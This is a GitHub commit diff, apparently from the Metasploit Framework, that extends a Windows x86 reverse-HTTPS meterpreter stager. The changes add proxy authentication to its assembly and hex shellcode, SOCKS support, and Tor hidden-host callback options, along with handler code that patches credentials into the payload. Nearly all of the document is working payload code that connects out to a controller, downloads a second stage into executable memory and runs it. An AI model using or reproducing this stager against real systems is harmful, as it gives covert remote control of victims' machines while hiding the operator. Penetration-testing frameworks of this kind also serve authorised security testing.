Skip to content

Commit 394a473

Browse files
mubixmubix
committed
Merge pull request #4 from alexmaloteaux/methttpsproxy
add some features
2 parents e8983a2 + a5d526d commit 394a473

File tree

5 files changed

+149
-36
lines changed

5 files changed

+149
-36
lines changed

‎data/meterpreter/metsrv.dll‎

-734 KB
Binary file not shown.

‎external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm‎

Lines changed: 34 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ load_wininet:
1616
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
1717
call ebp ; LoadLibraryA( "wininet" )
1818

19-
call internetopen
19+
call internetopen
2020

2121
proxy_server_name:
2222
db "PROXYHOST:PORT",0x00
@@ -33,7 +33,7 @@ internetopen:
3333
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
3434
call ebp
3535

36-
jmp short dbl_get_server_host
36+
jmp dbl_get_server_host
3737

3838
internetconnect:
3939
pop ebx ; Save the hostname pointer
@@ -49,6 +49,37 @@ internetconnect:
4949
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
5050
call ebp
5151

52+
mov esi,eax ; safe hConnection
53+
54+
db "PROXY_AUTH_START" ; start marker for optional authentification, removed during payload creation
55+
56+
call set_proxy_username
57+
proxy_username:
58+
db "PROXY_USERNAME",0x00
59+
set_proxy_username:
60+
pop ecx ; Save the proxy username
61+
push dword 15 ; DWORD dwBufferLength
62+
push ecx ; LPVOID lpBuffer (username)
63+
push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
64+
push esi ; hConnection
65+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
66+
call ebp
67+
68+
call set_proxy_password
69+
proxy_password:
70+
db "PROXY_PASSWORD",0x00
71+
set_proxy_password:
72+
pop ecx ; Save the proxy password
73+
push dword 15 ; DWORD dwBufferLength
74+
push ecx ; LPVOID lpBuffer (password)
75+
push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
76+
push esi ; hConnection
77+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
78+
call ebp
79+
80+
db "PROXY_AUTH_STOP" ; stop marker for optional authentification, removed during payload creation
81+
82+
5283
jmp get_server_uri
5384

5485
httpopenrequest:
@@ -68,7 +99,7 @@ httpopenrequest:
6899
push edx ; version
69100
push ecx ; url
70101
push edx ; method
71-
push eax ; hConnection
102+
push esi ; hConnection
72103
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
73104
call ebp
74105
mov esi, eax ; hHttpRequest

‎lib/msf/core/handler/reverse_http.rb‎

Lines changed: 29 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,21 @@ def ssl?
8383
# addresses.
8484
#
8585
def full_uri
86-
lhost = datastore['LHOST']
86+
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
87+
lhost = datastore['HIDDENHOST']
88+
else
89+
lhost = datastore['LHOST']
90+
end
8791
if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
8892
lhost = Rex::Socket.source_address
8993
end
9094
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
9195
scheme = (ssl?) ? "https" : "http"
92-
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
96+
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
97+
uri = "#{scheme}://#{lhost}:#{datastore["HIDDENPORT"]}/"
98+
else
99+
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
100+
end
93101

94102
uri
95103
end
@@ -298,7 +306,7 @@ def on_request(cli, req, obj)
298306
end
299307

300308
# Activate a custom proxy
301-
i = blob.index("METERPRETER_PROXY")
309+
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
302310
if i
303311
if datastore['PROXYHOST']
304312
if datastore['PROXYHOST'].to_s != ""
@@ -308,9 +316,27 @@ def on_request(cli, req, obj)
308316
if proxyport == "80"
309317
proxyinfo = proxyhost
310318
end
319+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
320+
proxyinfo = 'http://' + proxyinfo
321+
else #socks
322+
proxyinfo = 'socks=' + proxyinfo
323+
end
311324
proxyinfo << "\x00"
312325
blob[i, proxyinfo.length] = proxyinfo
313326
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
327+
#Optional authentification
328+
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
329+
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
330+
datastore['PROXY_TYPE'] == 'SOCKS'
331+
332+
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
333+
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
334+
blob[proxy_username_loc, proxy_username.length] = proxy_username
335+
336+
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
337+
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
338+
blob[proxy_password_loc, proxy_password.length] = proxy_password
339+
end
314340
end
315341
end
316342
end

‎lib/msf/core/handler/reverse_https_proxy.rb‎

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,16 @@ def initialize(info = {})
3838

3939
register_options(
4040
[
41-
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
42-
], Msf::Handler::ReverseHttpsProxy)
41+
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
42+
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
43+
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
44+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45+
OptString.new('HIDDENHOST', [false, "The tor hidden host to connect to, when set it will be used instead of LHOST for stager generation"]),
46+
OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]),
47+
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
48+
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
49+
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
50+
], Msf::Handler::ReverseHttpsProxy)
4351

4452
end
4553

‎modules/payloads/stagers/windows/reverse_https_proxy.rb‎

Lines changed: 76 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
2121
'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy',
22-
'Author' => ['hdm','corelanc0d3r <[email protected]>'],
22+
'Author' => ['hdm','corelanc0d3r <[email protected]>', 'amaloteaux'],
2323
'License' => MSF_LICENSE,
2424
'Platform' => 'win',
2525
'Arch' => ARCH_X86,
@@ -37,30 +37,30 @@ def initialize(info = {})
3737
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
3838
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
3939
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
40-
"\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07" +
41-
"\xff\xd5\xe8\x0f\x00\x00\x00\x50\x52\x4f\x58\x59\x48\x4f\x53\x54" +
42-
"\x3a\x50\x4f\x52\x54\x00\x59\x31\xff\x57\x54\x51\x6a\x03\x6a\x00" +
43-
"\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x62\x5b\x31\xc9\x51\x51\x6a" +
44-
"\x03\x51\x51\x68\x5c\x11\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff" +
45-
"\xd5\xe9\x4b\x00\x00\x00\x59\x31\xd2\x52\x68\x00\x32\xa0\x84\x52" +
46-
"\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x6a\x10" +
47-
"\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75" +
48-
"\x46\x9e\x86\xff\xd5\x31\xff\x57\x57\x57\x57\x56\x68\x2d\x06\x18" +
49-
"\x7b\xff\xd5\x85\xc0\x75\x1d\x4b\x74\x13\xeb\xd5\xe9\x49\x00\x00" +
50-
"\x00\xe8\xb0\xff\xff\xff\x2f\x31\x32\x33\x34\x35\x00\x68\xf0\xb5" +
51-
"\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
52-
"\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00" +
53-
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd" +
54-
"\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x4b\xff\xff\xff"
40+
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
41+
"\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x48\x4F\x53\x54" +
42+
"\x3A\x50\x4F\x52\x54\x00\x59\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00" +
43+
"\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51" +
44+
"\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F" +
45+
"\xC6\xFF\xD5\x89\xC6\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F" +
46+
"\x53\x54\x41\x52\x54\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F" +
47+
"\x55\x53\x45\x52\x4E\x41\x4D\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56" +
48+
"\x68\x75\x46\x9E\x86\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58" +
49+
"\x59\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A" +
50+
"\x2C\x56\x68\x75\x46\x9E\x86\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41" +
51+
"\x55\x54\x48\x5F\x53\x54\x4F\x50\xEB\x48\x59\x31\xD2\x52\x68\x00" +
52+
"\x32\xA0\x84\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5" +
53+
"\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A" +
54+
"\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56" +
55+
"\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5" +
56+
"\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0" +
57+
"\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" +
58+
"\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" +
59+
"\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" +
60+
"\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF"
5561
}
5662
))
5763

58-
# Register proxy options
59-
register_options(
60-
[
61-
OptAddress.new('PROXYHOST', [true, "The IP address of the proxy to use" ,"127.0.0.1"]),
62-
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
63-
], self.class)
6464

6565
end
6666

@@ -88,7 +88,11 @@ def generate
8888
if proxyport == "80"
8989
proxyinfo = proxyhost
9090
end
91-
91+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
92+
proxyinfo = 'http://' + proxyinfo
93+
else #socks
94+
proxyinfo = 'socks=' + proxyinfo
95+
end
9296
proxyloc = p.index("PROXYHOST:PORT")
9397
p = p.gsub("PROXYHOST:PORT",proxyinfo)
9498

@@ -97,15 +101,59 @@ def generate
97101
calloffset += 1
98102
p[proxyloc-4] = [calloffset].pack('V')[0]
99103

104+
#Optional authentification
105+
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
106+
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
107+
datastore['PROXY_TYPE'] == 'SOCKS'
108+
109+
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
110+
#remove auth code
111+
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
112+
else
113+
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
114+
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
115+
jmp_offset = 16 + #PROXY_AUTH_START length
116+
15 + #PROXY_AUTH_STOP length
117+
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
118+
password_size_diff # same with PROXY_PASSWORD
119+
#patch call offset
120+
username_loc = p.index("PROXY_USERNAME")
121+
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
122+
password_loc = p.index("PROXY_PASSWORD")
123+
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
124+
#remove markers & change login/pwd
125+
p = p.gsub("PROXY_AUTH_START","")
126+
p = p.gsub("PROXY_AUTH_STOP","")
127+
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
128+
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
129+
end
130+
#patch jmp dbl_get_server_host
131+
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
132+
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
133+
#patch call Internetopen
134+
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
135+
100136
# patch the LPORT
137+
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
138+
lport = datastore['HIDDENPORT']
139+
else
140+
lport = datastore['LPORT']
141+
end
142+
101143
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
102-
p[lportloc+1] = [datastore['LPORT'].to_i].pack('V')[0]
103-
p[lportloc+2] = [datastore['LPORT'].to_i].pack('V')[1]
104-
p[lportloc+3] = [datastore['LPORT'].to_i].pack('V')[2]
105-
p[lportloc+4] = [datastore['LPORT'].to_i].pack('V')[3]
144+
p[lportloc+1] = [lport.to_i].pack('V')[0]
145+
p[lportloc+2] = [lport.to_i].pack('V')[1]
146+
p[lportloc+3] = [lport.to_i].pack('V')[2]
147+
p[lportloc+4] = [lport.to_i].pack('V')[3]
106148

107149
# append LHOST and return payload
108-
p + datastore['LHOST'].to_s + "\x00"
150+
151+
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
152+
lhost = datastore['HIDDENHOST']
153+
else
154+
lhost = datastore['LHOST']
155+
end
156+
p + lhost.to_s + "\x00"
109157

110158
end
111159

0 commit comments

Comments
 (0)